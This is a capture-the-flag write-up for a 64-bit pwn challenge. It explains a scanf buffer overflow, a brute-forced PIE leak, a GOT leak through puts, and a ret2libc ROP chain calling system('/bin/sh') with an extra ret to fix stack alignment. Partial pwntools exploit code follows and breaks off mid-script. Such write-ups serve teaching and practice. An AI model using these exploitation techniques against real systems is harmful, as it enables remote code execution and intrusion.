This challenge had a very few solves, maybe because most people gave up after the hack. Another reason is probably because when trying to get a shell with system on the server it returns segmentation fault due to an alignment problem, this is an issue I also had in a previous ctf (CSAW 2019) and the fix is pretty simple as I will explain bellow.
Everything is enabled besides the stack canary:
1 2 3 4 5 6 7
$ checksec gpsu [*] '/ctf/work/pwn/hideandseek/gpsu' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
From the file command we know that the binary is dynamically linked so we know it’s going to use a shared library of libc.
$ file gpsu gpsu: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2b53545d7df75c5dd56122820cf4806f2be749d3, for GNU/Linux 3.2.0, not stripped
There is an obvious buffer overflow vulnerability in scanf, we also partially got a leak of the PIE address, which is necessary if we want to leak addresses from the GOT and to build a ropchain:
Writing the exploit
First thing we want to do is to get the pie address some numbers from it we already know because they’re not affected by the ALSR:
The ones we already know is the last 3 which is 3 zeros, the “Xs” are leaked from the binary from those printfs but we are missing one number which is denoted with a “?”. The solution to this is to brute-force this number, a 4 bit bruteforce shouldn’t take much time even when connecting remotely.
So to form the pie address we can do this in python:
1 2 3 4 5 6 7 8
addr = '0xXXXXXXXX4000'# 8 bit brute-force (random guess of "?" with the number 4) addr = list(addr) indexes = [2,4,6,8,3,5,7,9] for i in indexes: r.recvuntil('|') addr[i]=r.recv(1).decode() r.recvuntil('|') PIE = int(''.join(addr),16)
To brute-force every try we need to put this in a loop until we get the right address, if we succeed we can leak a libc address from the GOT:
1 2 3 4 5
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret ROP_CHAIN += p64(PIE+elf.got['fgets']) # fgets@got ROP_CHAIN += p64(PIE+0x10e0) # r2 -> ?v sym.imp.puts ROP_CHAIN += p64(MAIN) # return to main r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)
The author didn’t release any libc file, because of this I used a very nice tool, from the leaked address, we can use the find command to get the right libc version:
Locally everything runs smoothly but when running at the server it always segfaults , basically our payload needs to be aligned within a 16 byte multiple, so to fix the alignment on the remote machine we can just add another rop instruction ret between BINSH and SYSTEM which in the end doesn’t do anything but will fix the alignment on the server machine:
1 2 3 4 5 6
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret ROP_CHAIN += p64(BINSH) ROP_CHAIN += p64(RET) # ret Won't work on server without this ROP_CHAIN += p64(SYSTEM) # system(rdi=&/bin/sh); ROP_CHAIN += p64(MAIN) r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)
defdebug(bp): script = "" PIE = get_PIE(r) PAPA = PIE for x in bp: script += "b *0x%x\n"%(PIE+x) gdb.attach(r,gdbscript=script) context.terminal = ['tmux', 'new-window'] defexploit(): global r try: r = getConn()
ifnot args.REMOTE and args.GDB: debug([0x143b]) # 0x131a
addr = '0xXXXXXXXX4000'# 4 bit bruteforce addr = list(addr) indexes = [2,4,6,8,3,5,7,9] for i in indexes: r.recvuntil('|') addr[i]=r.recv(1).decode() r.recvuntil('|')
PIE = int(''.join(addr),16) RET = PIE+0x000000000000101a# ret POPRDI = PIE+0x00000000000014d3# pop rdi ; ret MAIN = PIE+0x143c log.info('0x%x'% PIE)